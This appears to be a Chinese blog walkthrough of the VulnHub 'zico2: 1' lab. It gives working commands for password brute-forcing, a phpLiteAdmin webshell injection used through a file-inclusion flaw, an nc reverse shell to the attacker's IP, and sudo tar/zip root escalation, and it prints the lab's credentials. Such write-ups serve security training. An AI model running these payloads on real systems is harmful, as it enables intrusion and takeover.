当前位置: 首页 > article >正文

zico2: 1靶场渗透测试

zico2: 1 来自 <zico2: 1 ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.203

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.203

22/tcp (SSH):

  • 服务版本: OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
  • SSH主机密钥:
    • DSA: 1024位
    • RSA: 2048位
    • ECDSA: 256位
  • 分析: OpenSSH版本较老(5.9p1),可能存在已知漏洞。建议升级到最新版本以确保安全。

80/tcp (HTTP):

  • 服务版本: Apache httpd 2.2.22 (Ubuntu)
  • HTTP标题: Zico's Shop
  • 服务器头: Apache/2.2.22 (Ubuntu)
  • 分析: Apache版本较老(2.2.22),可能存在已知漏洞。建议升级到最新版本。此外,可以进一步扫描Web应用程序以查找潜在的漏洞。

111/tcp (rpcbind):

  • 服务版本: rpcbind 2-4 (RPC #100000)
  • rpcinfo:
    • 提供了多个RPC服务的端口和协议信息。
  • 分析: rpcbind服务通常用于远程过程调用(RPC),可能存在安全风险。建议限制访问或禁用不必要的RPC服务。

36826/tcp (status):

  • 服务版本: status 1 (RPC #100024)
  • 分析: 这是一个RPC状态服务,通常与rpcbind一起使用。同样建议限制访问或禁用不必要的RPC服务

4,访问80端口开放的web网站,检查是否存在漏洞

是一个购物网站,尝试对网站的子目录进行枚举爆破扫描

dirsearch -u http://192.168.23.203 -x 403,404,500

5,经过访问发现到一个网站

http://192.168.23.203/dbadmin/test_db.php

尝试使用弱口令爆破登录。用cewl工具爬取网页的字典数据,并生成一个字典txt:

 cewl http://192.168.23.203 -w 1.txt

然后使用burpsuite抓获POST请求包,

选用字典替换password然后爆破

最后成功爆破出用户登录密码为admin,弱口令

6,然后登录访问这个网站

然后就从数据库中拿到了用户密码

将MD5加密pass解密得:

root : 34kroot34

zico : zico2215@

7,尝试ssh登录

全都是错误的

phpLiteAdmin简介

phpLiteAdmin是一个基于 Web 的轻量级 SQLite 数据库管理工具,类似于 phpMyAdmin(用于 MySQL),但专门为 SQLite 数据库设计。它通过简单的 PHP 脚本提供对 SQLite 数据库的图形化管理界面,适合开发者和运维人员快速操作数据库。

核心特点

  1. 轻量级:
    • 单文件部署(仅需一个 .php 文件),无需复杂安装。
    • 依赖简单:仅需 PHP 环境和 SQLite 扩展支持。
  2. 功能全面:
    • 支持创建、删除、重命名数据库。
    • 支持数据表/索引/视图的增删改查。
    • 执行自定义 SQL 语句。
    • 导入/导出数据(支持 CSV、SQL 格式)。
    • 数据分页浏览和搜索。
  3. 跨平台:
    • 可在任何支持 PHP 的服务器上运行(如 Apache、Nginx)。
  4. 开源免费:
    • 代码托管在 GitHub,可自由修改和扩展。

使用场景

  • 本地开发调试:快速管理 SQLite 数据库文件(.sqlite 或 .db)。
  • 嵌入式系统:适用于资源有限的设备(如 IoT 设备)。
  • 简单 Web 应用:替代 MySQL 的轻量级数据库方案。

 

8,那就尝试通过web网站尝试getshell,首先检索软件的漏洞

searchsploit phpLiteAdmin

正好1.9.3版本存在远程代码执行漏洞,将exp存储出来查看

漏洞解析:phpLiteAdmin <= 1.9.3 远程PHP代码注入漏洞

1. 漏洞概述

  • 漏洞类型:远程代码执行(RCE)
  • 影响版本:phpLiteAdmin <= 1.9.3
  • 利用条件
    • 目标服务器未正确配置安全策略(如允许创建 .php 扩展名的数据库文件)。
    • 攻击者能够访问 phpLiteAdmin 的 Web 界面(默认密码 admin 或已知凭据)。
  • 漏洞根源:未对用户输入的数据库文件名进行过滤,导致恶意PHP代码注入

漏洞利用步骤

步骤1:创建恶意数据库

  1. 访问 phpLiteAdmin:
    • 默认地址:http://target/phpliteadmin.php
    • 使用默认密码 admin 登录(若未修改配置)。
  2. 创建数据库:
    • 在 “Create new database” 输入框填写数据库名:hack.php。
    • 点击 Create,phpLiteAdmin 将在其安装目录生成 hack.php(SQLite 数据库文件)。
      注意:某些服务器配置可能自动将文件名修正为 hack.sqlite。此时需通过 “Rename Database” 功能将其重命名为 hack.php。

步骤2:插入PHP代码

  1. 创建数据表:
    • 打开 hack.php 数据库。
    • 创建新表(如 exploit),定义字段结构:
      CREATE TABLE exploit (code TEXT);
  2. 插入恶意数据:
    • 向 exploit 表插入一条记录,文本字段值为 <?php phpinfo(); ?>:
      INSERT INTO exploit (code) VALUES ('<?php phpinfo(); ?>');
      关键点:PHP代码作为普通文本写入数据库文件,但后续通过Web访问该文件时会被解析执行。

步骤3:触发代码执行

  • 访问恶意数据库文件:
    • 直接通过浏览器访问数据库文件:http://target/hack.php。
    • 服务器将 hack.php 视为PHP脚本解析,执行其中的 <?php phpinfo(); ?>,返回PHP环境信息页面。

9,然后开始进行漏洞利用

首先创建一个名为hack.php的数据库

然后在hack.php数据库里面创建一个数据表

Default Value下插入一句话木马 <?php echo system($_GET[cmd]);?>

因为在这里上传的一句话中引号会被过滤,所以一句话木马要求不含单引号

创建操作成功之后。就需要结合/view.php页面存在的文件包含漏洞去利用命令执行漏洞

http://192.168.23.203/view.php?page=../../usr/databases/hack.php&cmd=whoami

10,然后利用python进行反弹shell,还是在这个页面命令执行。首先添加一条

<?php passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.23.182 4444 >/tmp/f"); ?>

随后nc监听4444端口,浏览器访问

http://192.168.23.203/view.php?page=../../../../../usr/databases/hack.php

成功getshell

11,然后使用python脚本启动交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

这个靶机名字叫zico,搜一下靶机上有没有和zico相关的文件或者文件夹:

find / -name "*zico*" 2>/dev/null

发现网站是wordpress框架的

那么就可以查看数据库的配置文件,进一步信息收集。配置文件在/home/zico/wordpress/wp-config.php

账号:zico

密码:sWfCsfJSPV9H3AmQzw8

这才是真正的账户密码

12,ssh登录一下

ssh zico@192.168.23.203

sudo -l查看一下有无sudo提权利用的地方

那么就有两种提权方法,tar提权和zip提权
 

第一种方法:

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

  • sudo: 以超级用户权限运行后续命令。
  • tar: 归档工具,此处被赋予 root 权限。
  • -cf /dev/null:
    • -c 创建归档文件。
    • -f /dev/null 将归档输出到 /dev/null(黑洞设备,丢弃所有数据)。
  • /dev/null: 要归档的“文件”(实际为空设备,无内容)。
  • --checkpoint=1: 每处理 1个记录块 触发一次检查点。
  • --checkpoint-action=exec=/bin/sh: 在检查点触发时执行 /bin/sh(启动交互式 Shell)。

2. 提权原理

核心漏洞:tar 的检查点机制滥用

tar 的 --checkpoint 和 --checkpoint-action 功能设计初衷是用于备份或恢复大文件时执行定期操作(如日志记录)。但攻击者通过参数注入,强制 tar 在处理第一个记录块时立即触发检查点,并执行任意命令。

关键步骤:

  1. 触发检查点:
    • --checkpoint=1 表示每处理 1个记录块 触发一次检查点。
    • 归档的目标是 /dev/null(空设备),tar 会快速完成操作,但依然会生成 元数据(如文件头信息),占用至少一个记录块。
  2. 执行命令:
    • --checkpoint-action=exec=/bin/sh 会在检查点触发时执行 /bin/sh。
    • 由于 tar 以 root 权限运行,启动的 Shell 继承 root 权限。

3. 技术细节验证

记录块与元数据

记录块大小: 默认 tar 使用 20个 512字节的块(共 10KB)作为一个记录块。

元数据写入: 即使归档 /dev/null(空文件),tar 仍会写入以下元数据:

  • 文件头信息(文件名、权限、时间戳等)。
  • 结束标记(两个全零块)。
  • 至少占用 1个记录块(即 10KB),触发检查点。

实际测试

# 执行命令后,检查进程树:
$ ps aux | grep 'tar\|sh'

sh 进程以 root 身份运行,成功提权。

 

第二种方法:

TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF

TF=$(mktemp -u):

  • mktemp -u 生成一个唯一的临时文件名(如 /tmp/tmp.XXXXXX),但不会实际创建文件。
  • 目的是为 zip 命令提供一个未使用的临时文件路径。

sudo zip $TF /etc/hosts -T -TT 'sh #':

  • sudo: 以 root 权限运行 zip。
  • $TF: 使用临时文件作为 ZIP 文件名。
  • /etc/hosts: 要压缩的目标文件。
  • -T: 测试生成的 ZIP 文件完整性。
  • -TT 'sh #': 指定测试 ZIP 文件的命令为 sh,# 是注释符,用于截断后续参数。

sudo rm $TF:

  • 清理临时文件(实际可能未被创建)。

提权原理

关键漏洞:zip 的 -TT 参数命令注入

zip 的 -TT 参数用于指定测试 ZIP 文件的命令。若用户能控制此参数,可通过注入命令实现任意代码执行。结合 sudo 的 root 权限,攻击者能启动一个 root Shell。

步骤分析:

  1. 生成临时文件路径:
    • TF=$(mktemp -u) 生成一个唯一路径(如 /tmp/tmp.ABC123),但未实际创建文件。
  2. 执行 zip 命令:
    • zip 尝试压缩 /etc/hosts 到临时文件 $TF,并启用测试模式(-T)。
    • -TT 'sh #' 将测试命令设置为 sh,# 会注释掉后续默认参数(如 $TF),从而直接执行 sh。
  3. 触发命令执行:
    • zip 在测试 ZIP 文件时,执行 sh 命令。
    • 由于 sudo 以 root 权限运行 zip,启动的 sh 继承 root 权限。


http://www.kler.cn/a/590307.html

相关文章:

  • 深度学习知识:softlabel策略
  • 亚远景-汽车软件质量提升利器:ASPICE咨询深度解读
  • go语言的控制语句
  • 错误,程序包xxx不存在,Androidstudio报错解析
  • maven核心包:maven-model
  • AI学习第二天--监督学习 半监督学习 无监督学习
  • Maven的继承和聚合
  • 解决 Jupyter Notebook 中本地模块修改不生效的问题
  • 西门子PLC 博图(TIA Portal)与安川机器人进行Modbus TCP通信
  • QuickAPI:如何轻松实现数据库快速导入
  • Python----计算机视觉处理(Opencv:图像颜色替换)
  • Git下载安装(保姆教程)
  • 青少年编程与数学 02-011 MySQL数据库应用 02课题、MySQL数据库安装
  • C++高频(二)
  • uniapp实现页面左滑右滑切换内容
  • 【万字总结】构建现代Web应用的全方位性能优化体系学习指南(二)
  • UART转AHB总线接口参考设计介绍
  • CSS3学习教程,从入门到精通,CSS3 属性语法知识点及案例代码(4)
  • 学生选课管理系统数据库设计报告
  • C++学习笔记(二十一)——文件读写